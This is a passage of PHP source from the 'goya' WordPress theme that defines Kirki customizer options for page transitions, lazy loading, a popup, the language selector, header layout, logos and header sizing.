    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'page_transition', 'label' => esc_html__( 'Page preload Transition', 'goya' ), 'description' => sprintf( '%s', esc_html__( '* Warning: It may affect your Google Page Speed score if your server is not fast enough', 'goya' ) ), 'section' => 'general_settings', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'page_transition_style', 'label' => esc_html__( 'Transition loader icon', 'goya' ), 'section' => 'general_settings', 'default' => 'dot3-loader', 'priority' => 10, 'choices' => array( 'dot3-loader' => esc_attr__('Dots', 'goya'), 'line-loader' => esc_attr__('Line', 'goya'), 'custom-loader' => esc_attr__('Custom', 'goya'), ), 'required' => array( array( 'setting' => 'page_transition', 'operator' => '==', 'value' => true ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'image', 'settings' => 'page_transition_icon', 'label' => esc_html__( 'Use custom Page Load icon', 'goya' ), 'section' => 'general_settings', 'priority' => 10, 'default' => '', 'required' => array( array( 'setting' => 'page_transition', 'operator' => '==', 'value' => true ), array( 'setting' => 'page_transition_style', 'operator' => '==', 'value' => 'custom-loader' ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'general_settings', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'lazy_load', 'label' => esc_html__( 'Use lazy load', 'goya' ), 'description' => esc_html__( 'Load images only when visible to improve loading time. DISABLE if you are using a Lazyload plugin', 'goya' ), 'section' => 'general_settings', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'lazy_load_skip', 'label' => esc_html__( 'Skip lazy load', 'goya' ), 'description' => esc_html__( 'For products catalog you can skip the first images from lazy loading. Choose the number of products to skip.', 'goya' ), 'section' => 'general_settings', 'default' => 6, 'priority' => 10, 'choices' => array( 'min' => 0, 'max' => 10, 'step' => 1 ), 'required' => array( array( 'setting' => 'lazy_load', 'operator' => '==', 'value' => true ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'general_settings', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'login_two_columns', 'label' => esc_html__( 'Login/Register form in two columns', 'goya' ), 'description' => esc_html__( 'For desktop size and only on the regular login/register page', 'goya' ), 'section' => 'general_settings', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'general_settings', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'wp_gallery_popup', 'label' => esc_html__( 'WordPress Gallery - Lightbox', 'goya' ), 'description' => esc_html__( 'Open WordPress Gallery Images in Lightbox', 'goya' ), 'section' => 'general_settings', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'general_settings', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'js_composer_standalone', 'label' => esc_html__( 'Standalone WP Bakery', 'goya' ), 'description' => esc_html__( 'If you have your own WP Bakery Page Builder license, enable this option and add your license in the plugin settings', 'goya' ), 'section' => 'general_settings', 'default' => false, 'priority' => 10, )); /** * POPUP */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'popup_modal', 'label' => esc_html__( 'Enable Popup', 'goya' ), 'section' => 'popup', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'popup', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'popup_layout', 'label' => esc_html__( 'Popup layout', 'goya' ), 'transport' => 'postMessage', 'section' => 'popup', 'default' => '2-col', 'priority' => 10, 'choices' => array( '1-col' => esc_attr__('1 column', 'goya'), '2-col' => esc_attr__('2 columns', 'goya') ), 'js_vars' => array( array( 'element' => '#goya-popup', 'function' => 'toggleClass', 'class' => 'popup-layout-1-col', 'value' => '1-col', ), array( 'element' => '#goya-popup', 'function' => 'toggleClass', 'class' => 'popup-layout-2-col', 'value' => '2-col', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'popup_color_style', 'label' => esc_html__( 'Color Scheme', 'goya' ), 'description' => esc_html__( 'The image will be used as background.', 'goya' ), 'transport' => 'postMessage', 'section' => 'popup', 'default' => '', 'priority' => 10, 'choices' => array( '' => esc_attr__('Light', 'goya'), 'dark' => esc_attr__('Dark', 'goya') ), 'js_vars' => array( array( 'element' => '#goya-popup', 'function' => 'toggleClass', 'class' => 'dark', 'value' => 'dark', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'popup', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'image', 'settings' => 'popup_image', 'label' => esc_html__( 'Popup Image', 'goya' ), 'section' => 'popup', 'priority' => 10, 'default' => '', )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'popup_content', 'label' => esc_html__( 'Popup Content', 'goya' ), 'description' => esc_html__( 'You can use shortcodes like Mailchimp sign up shortcode.', 'goya' ), 'transport' => 'postMessage', 'section' => 'popup', 'priority' => 10, 'default' => '', 'partial_refresh' => array( 'popup_content' => array( 'selector' => '#goya-popup .content-wrapper', 'render_callback' => function() { echo do_shortcode( get_theme_mod( 'popup_content','' ) ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'popup', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'select', 'settings' => 'popup_frequency', 'label' => esc_html__( 'Frequency', 'goya' ), 'description' => esc_html__( 'Do NOT show the popup to the same visitor again until:', 'goya' ), 'section' => 'popup', 'priority' => 10, 'choices' => array( '0' => esc_attr__( '0 - For Testing', 'goya' ), '1' => esc_attr__( '1 Day', 'goya' ), '2' => esc_attr__( '2 Days', 'goya' ), '3' => esc_attr__( '3 Days', 'goya' ), '7' => esc_attr__( '1 Week', 'goya' ), '14' => esc_attr__( '2 Weeks', 'goya' ), '21' => esc_attr__( '3 Weeks', 'goya' ), '30' => esc_attr__( '1 Month', 'goya' ), ), 'default' => '1', )); Kirki::add_field( 'goya_config', array( 'type' => 'number', 'settings' => 'popup_delay', 'label' => esc_html__( 'Delay', 'goya' ), 'description' => esc_html__( 'Seconds until the popup is displayed after page load.', 'goya' ), 'section' => 'popup', 'default' => 3, 'priority' => 10, 'choices' => array( 'min' => 0, 'step' => 1, ), )); /** * APIs */ Kirki::add_field( 'goya_config', array( 'type' => 'text', 'settings' => 'google_api_key', 'label' => esc_html__( 'Google API key', 'goya' ), 'description' => sprintf( __( 'Enter your %sGoogle Maps API key%s.', 'goya' ), '', '' ), 'section' => 'apis', 'default' => '', 'priority' => 10, )); /** * Language Selector */ if ( function_exists('pll_the_languages') || function_exists('icl_get_languages')) { Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'language_selector', 'default' => '

    ' . esc_html__( 'For WPML/Polylang', 'goya' ) . '

    ' . esc_html__( 'Add the selector manually in the customizer in Header > Layout and other positions.', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'ls_default_layout', 'label' => esc_html__( 'Default Layout', 'goya' ), 'section' => 'language_selector', 'default' => 'dropdown', 'priority' => 10, 'choices' => array( 'dropdown' => esc_attr__('Drop-down', 'goya'), 'inline' => esc_attr__('Inline', 'goya') ), )); Kirki::add_field( 'goya_config', array( 'type' => 'multicheck', 'settings' => 'ls_default', 'label' => esc_html__( 'General Display', 'goya' ), 'description' => esc_html__( 'The default layout for language selector', 'goya' ), 'section' => 'language_selector', 'default' => array('name'), 'priority' => 10, 'multiple' => 1, 'choices' => array( 'flag' => esc_attr__('Flag', 'goya'), 'code' => esc_attr__('Code', 'goya'), 'name' => esc_attr__('Name', 'goya'), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'language_selector', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'multicheck', 'settings' => 'ls_mobile_header', 'label' => esc_html__( 'Mobile header/top bar', 'goya' ), 'description' => esc_html__( 'For mobiles in dropdown mode only.', 'goya' ), 'section' => 'language_selector', 'default' => array('code'), 'priority' => 10, 'multiple' => 1, 'choices' => array( 'flag' => esc_attr__('Flag', 'goya'), 'code' => esc_attr__('Code', 'goya'), 'name' => esc_attr__('Name', 'goya'), ), )); } /** * HEADER */ /* Header Styles */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'header_sticky', 'label' => esc_html__( 'Sticky Header', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_layout', 'default' => true, 'priority' => 10, 'js_vars' => array( array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'header-sticky', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'header_sticky_sections', 'label' => esc_html__( 'Section to display on sticky header', 'goya' ), 'description' => esc_html__( 'For desktop size only', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_layout', 'default' => 'top', 'priority' => 10, 'choices' => array( 'both' => esc_html__( 'Both', 'goya' ), 'top' => esc_html__( 'Top', 'goya' ), 'bottom' => esc_html__( 'Bottom', 'goya' ), ), 'required' => array( array( 'setting' => 'header_sticky', 'operator' => '==', 'value' => true, ), array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), array( 'setting' => 'header_show_bottom', 'operator' => '==', 'value' => true, ), ), 'js_vars' => array( array( 'element' => '.site-header', 'function' => 'toggleClass', 'class' => 'sticky-display-top', 'value' => 'top', ), array( 'element' => '.site-header', 'function' => 'toggleClass', 'class' => 'sticky-display-bottom', 'value' => 'bottom', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_layout', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'header_full_width', 'label' => esc_html__( 'Header Full Width', 'goya' ), 'description' => esc_html__('This also applies to the "Top Bar" if visible.', 'goya'), 'transport' => 'postMessage', 'section' => 'header_layout', 'default' => false, 'priority' => 10, 'js_vars' => array( array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'header-full-width', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_layout', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'header_layout', 'label' => esc_html__( 'Header Layout', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_layout', 'default' => 'prebuild', 'priority' => 10, 'choices' => array( 'prebuild' => esc_html__( 'Preset', 'goya' ), 'custom' => esc_html__( 'Custom', 'goya' ), ), 'partial_refresh' => array( 'header_layout' => array( 'selector' => '#header', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header/header', 'default' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'select', 'settings' => 'header_version', 'label' => esc_html__( 'Header version', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_layout', 'default' => 'v6', 'priority' => 11, 'choices' => array( 'v1' => esc_html__( 'Header V1', 'goya' ), 'v2' => esc_html__( 'Header V2', 'goya' ), 'v3' => esc_html__( 'Header V3', 'goya' ), 'v4' => esc_html__( 'Header V4', 'goya' ), 'v5' => esc_html__( 'Header V5', 'goya' ), 'v6' => esc_html__( 'Header V6', 'goya' ), 'v7' => esc_html__( 'Header V7', 'goya' ), 'v8' => esc_html__( 'Header V8', 'goya' ), 'v9' => esc_html__( 'Header V9', 'goya' ), ), 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'prebuild', ), ), 'partial_refresh' => array( 'header_version' => array( 'selector' => '#header', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header/header', 'default' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_layout', 'default' => '

    ' . esc_html__( 'Header Top', 'goya' ) . '

    ' . esc_html__( 'Custom elements for top section of the header', 'goya' ) . '

    ', 'priority' => 12, 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'header_main_left', 'label' => esc_html__( 'Top - Left Section', 'goya' ), 'section' => 'header_layout', 'transport' => 'postMessage', 'default' => array(), 'priority' => 13, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_header_elements_list(), ), ), 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), ), 'partial_refresh' => array( 'header_main_left' => array( 'selector' => '#header', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header/header', 'default' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'header_main_center', 'label' => esc_html__( 'Top - Center Section', 'goya' ), 'section' => 'header_layout', 'transport' => 'postMessage', 'default' => array(), 'priority' => 14, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_header_elements_list(), ), ), 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), ), 'partial_refresh' => array( 'header_main_center' => array( 'selector' => '#header', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header/header', 'default' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'header_main_right', 'label' => esc_html__( 'Top - Right Section', 'goya' ), 'section' => 'header_layout', 'transport' => 'postMessage', 'default' => array(), 'priority' => 15, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_header_elements_list(), ), ), 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), ), 'partial_refresh' => array( 'header_main_right' => array( 'selector' => '#header', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header/header', 'default' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_layout', 'default' => '

    ' . esc_html__( 'Header Bottom', 'goya' ) . '

    ' . esc_html__( 'Custom elements for bottom section of the header', 'goya' ) . '

    ', 'priority' => 16, 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'header_show_bottom', 'label' => esc_html__( 'Show bottom section', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_layout', 'default' => true, 'priority' => 17, 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_layout', 'default' => '
    ', 'priority' => 18, 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), array( 'setting' => 'header_show_bottom', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'header_bottom_left', 'label' => esc_html__( 'Bottom - Left Section', 'goya' ), 'section' => 'header_layout', 'transport' => 'postMessage', 'default' => array(), 'priority' => 19, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_header_elements_list(), ), ), 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), array( 'setting' => 'header_show_bottom', 'operator' => '==', 'value' => true, ), ), 'partial_refresh' => array( 'header_bottom_left' => array( 'selector' => '#header', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header/header', 'default' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'header_bottom_center', 'label' => esc_html__( 'Bottom - Center Section', 'goya' ), 'section' => 'header_layout', 'transport' => 'postMessage', 'default' => array(), 'priority' => 20, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_header_elements_list(), ), ), 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), array( 'setting' => 'header_show_bottom', 'operator' => '==', 'value' => true, ), ), 'partial_refresh' => array( 'header_bottom_center' => array( 'selector' => '#header', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header/header', 'default' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'header_bottom_right', 'label' => esc_html__( 'Bottom - Right Section', 'goya' ), 'section' => 'header_layout', 'transport' => 'postMessage', 'default' => array(), 'priority' => 21, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_header_elements_list(), ), ), 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), array( 'setting' => 'header_show_bottom', 'operator' => '==', 'value' => true, ), ), 'partial_refresh' => array( 'header_bottom_right' => array( 'selector' => '#header', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header/header', 'default' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_layout', 'default' => '

    ' . esc_html__( 'Text Fields', 'goya' ) . '

    ' . esc_html__( 'To be used with the customizer above: Text 1, Text 2, Text 3', 'goya' ) . '

    ', 'priority' => 22, 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'header_custom_text', 'label' => esc_html__( 'Text 1', 'goya' ), 'section' => 'header_layout', 'priority' => 22, 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), ), 'default' => '', )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'header_custom_text2', 'label' => esc_html__( 'Text 2', 'goya' ), 'section' => 'header_layout', 'priority' => 22, 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), ), 'default' => '', )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'header_custom_text3', 'label' => esc_html__( 'Text 3', 'goya' ), 'section' => 'header_layout', 'priority' => 22, 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), ), 'default' => '', )); /* Header Icons */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_elements', 'default' => '

    ' . esc_html__( 'Account', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'main_header_login_popup', 'label' => esc_html__( 'Login/Register Lightbox', 'goya' ), 'section' => 'header_elements', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'main_header_login_icon', 'label' => esc_html__( 'Display mode', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_elements', 'default' => 'text', 'priority' => 10, 'choices' => array( 'icon' => esc_attr__('Icon', 'goya'), 'text' => esc_attr__('Text', 'goya'), ), 'js_vars' => array( array( 'element' => '.et-menu-account-btn', 'function' => 'toggleClass', 'class' => 'account-icon', 'value' => 'icon', ), array( 'element' => '.et-menu-account-btn', 'function' => 'toggleClass', 'class' => 'account-text', 'value' => 'text', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_elements', 'default' => '

    ' . esc_html__( 'Wishlist', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'ajax_wishlist_counter', 'label' => esc_html__( 'Ajax update Wishlist counter', 'goya' ), 'description' => esc_html__( 'Update the counter on cached pages - it creates a new Ajax request.', 'goya' ), 'section' => 'header_elements', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'wishlist_account_dashboard', 'label' => esc_html__( 'Wishlist in My Account dashboard', 'goya' ), 'description' => sprintf( '%s
    %s', esc_html__( 'Re-save "Settings > Permalinks" after any change', 'goya' ), esc_html__( 'The header icon will point to the new tab. DON\'T delete the Wishlist page! It\'s still required.', 'goya' ) ), 'section' => 'header_elements', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_elements', 'default' => '

    ' . esc_html__( 'Search', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'ajax_search', 'label' => esc_html__( 'Use Ajax Product Search', 'goya' ), 'description' => esc_html__( 'Only if WooCommerce is installed', 'goya' ), 'section' => 'header_elements', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_elements', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'search_categories', 'label' => esc_html__( 'Narrow by Category', 'goya' ), 'section' => 'header_elements', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_elements', 'default' => '

    ' . esc_html__( 'Mini Cart', 'goya' ) . '

    ' . esc_html__( 'Moved to Shop > Minicart in customizer.', 'goya' ) . '

    ', 'priority' => 10, )); /* Header Logo */ Kirki::add_field( 'goya_config', array( 'type' => 'image', 'settings' => 'site_logo', 'label' => esc_html__( 'Logo - General', 'goya' ), 'description' => sprintf( '%s %s', esc_html__( '* Leave empty ', 'goya' ), esc_html__( 'Site Identity > Logo', 'goya' ) ), 'transport' => 'auto', 'section' => 'header_logo', 'priority' => 10, 'default' => get_template_directory_uri() . '/assets/img/logo-light.png', )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_logo', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'image', 'settings' => 'site_logo_dark', 'label' => esc_html__( 'Logo - Dark', 'goya' ), 'description' => esc_html__( 'Logo for dark background transparent header', 'goya' ), 'transport' => 'auto', 'section' => 'header_logo', 'priority' => 10, 'default' => get_template_directory_uri() . '/assets/img/logo-dark.png', )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_logo', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'select', 'settings' => 'site_logo_alt_use', 'label' => esc_html__( 'Alternative Logo', 'goya' ), 'description' => esc_html__( 'This will override the Logo - Dark in some cases', 'goya' ), 'transport' => 'auto', 'section' => 'header_logo', 'priority' => 10, 'choices' => array( '' => esc_html__( 'Disable', 'goya' ), 'alt-logo-sticky' => esc_html__( 'Show in Sticky Header + Mobiles', 'goya' ), 'alt-logo-tablet' => esc_html__( 'Show in Tablets + Mobiles', 'goya' ), 'alt-logo-mobile' => esc_html__( 'Show in Mobiles only', 'goya' ), ), 'default' => '', )); Kirki::add_field( 'goya_config', array( 'type' => 'image', 'settings' => 'site_logo_alt', 'label' => esc_html__( 'Alternative Logo Upload', 'goya' ), 'section' => 'header_logo', 'priority' => 10, 'default' => '', 'required' => array( array( 'setting' => 'site_logo_alt_use', 'operator' => '!=', 'value' => '' ) ), )); /* Header/Logo Size */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_logo_size', 'default' => '

    ' . esc_html__( 'Header Height', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'header_height', 'label' => esc_html__( 'Header Height (px)', 'goya' ), 'description' => esc_html__( 'This is the full header height (including bottom section if enabled)', 'goya' ), 'transport' => 'auto', 'section' => 'header_logo_size', 'default' => 90, 'priority' => 10, 'choices' => array( 'min' => 50, 'max' => 250, 'step' => 1 ), 'output' => array( array( 'element' => '.header,.header-spacer,.product-header-spacer', 'property' => 'height', 'units' => 'px', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'header_height_bottom', 'label' => esc_html__( 'Header Bottom (px)', 'goya' ), 'description' => esc_html__( 'The height of the bottom section only', 'goya' ), 'transport' => 'auto', 'section' => 'header_logo_size', 'default' => 40, 'priority' => 10, 'choices' => array( 'min' => 30, 'max' => 150, 'step' => 1 ), 'required' => array( array( 'setting' => 'header_layout', 'operator' => '==', 'value' => 'custom', ), array( 'setting' => 'header_show_bottom', 'operator' => '==', 'value' => true, ), ), 'output' => array( array( 'element' => '.header .header-bottom', 'property' => 'height', 'units' => 'px', ), array( 'element' => '.header .header-bottom', 'property' => 'max-height', 'units' => 'px', ), array( 'element' => '.header .header-bottom', 'property' => 'min-height', 'units' => 'px', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'header_height_sticky', 'label' => esc_html__( 'Sticky Header (px)', 'goya' ), 'transport' => 'auto', 'section' => 'header_logo_size', 'default' => 70, 'priority' => 10, 'choices' => array( 'min' => 50, 'max' => 250, 'step' => 1 ), 'required' => array( array( 'setting' => 'header_sticky', 'operator' => '==', 'value' => true, ), ), 'output' => array( array( 'element' => '.header_on_scroll:not(.megamenu-active) .header', 'property' => 'height', 'units' => 'px', 'media_query' => '@media only screen and (min-width: 992px)' ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'header_height_mobile', 'label' => esc_html__( 'Mobile Header (px)', 'goya' ), 'transport' => 'auto', 'section' => 'header_logo_size', 'default' => 60, 'priority' => 10, 'choices' => array( 'min' => 40, 'max' => 120, 'step' => 1 ), 'output' => array( array( 'element' => array('.header', '.header_on_scroll .header', '.sticky-product-bar', '.header-spacer', '.product-header-spacer'), 'property' => 'height', 'units' => 'px', 'media_query' => '@media only screen and (max-width: 991px)', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_logo_size', 'default' => '

    ' . esc_html__( 'Logo Height', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'logo_height', 'label' => esc_html__( 'Logo Height (px)', 'goya' ), 'description' => esc_html__( 'Maximum Logo Height', 'goya' ), 'transport' => 'auto', 'section' => 'header_logo_size', 'default' => 24, 'priority' => 10, 'choices' => array( 'min' => 15, 'max' => 200, 'step' => 1 ), 'output' => array( array( 'element' => array('.header .logolink img'), 'property' => 'max-height', 'units' => 'px', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'logo_height_sticky', 'label' => esc_html__( 'Logo Height - Sticky Header (px)', 'goya' ), 'description' => esc_html__( 'Maximum Logo Height in sticky header (when scrolling down)', 'goya' ), 'transport' => 'auto', 'section' => 'header_logo_size', 'default' => 24, 'priority' => 10, 'choices' => array( 'min' => 15, 'max' => 200, 'step' => 1 ), 'output' => array( array( 'element' => array('.header_on_scroll:not(.megamenu-active) .header .logolink img, .header_on_scroll.megamenu-active .header .alt-logo-sticky img'), 'property' => 'max-height', 'units' => 'px', 'media_query' => '@media only screen and (min-width: 992px)', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'logo_height_mobile', 'label' => esc_html__( 'Logo Height - Mobile (px)', 'goya' ), 'description' => esc_html__( 'Maximum Logo Height for Mobiles', 'goya' ), 'transport' => 'auto', 'section' => 'header_logo_size', 'default' => 24, 'priority' => 10, 'choices' => array( 'min' => 15, 'max' => 100, 'step' => 1 ), 'output' => array( array( 'element' => array('.header .logolink img'), 'property' => 'max-height', 'units' => 'px', 'media_query' => '@media only screen and (max-width: 991px)', ), ), )); /* Top Bar */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'top_bar', 'label' => esc_html__( 'Show Top Bar', 'goya' ), 'section' => 'top_bar', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'top_bar', 'default' => '
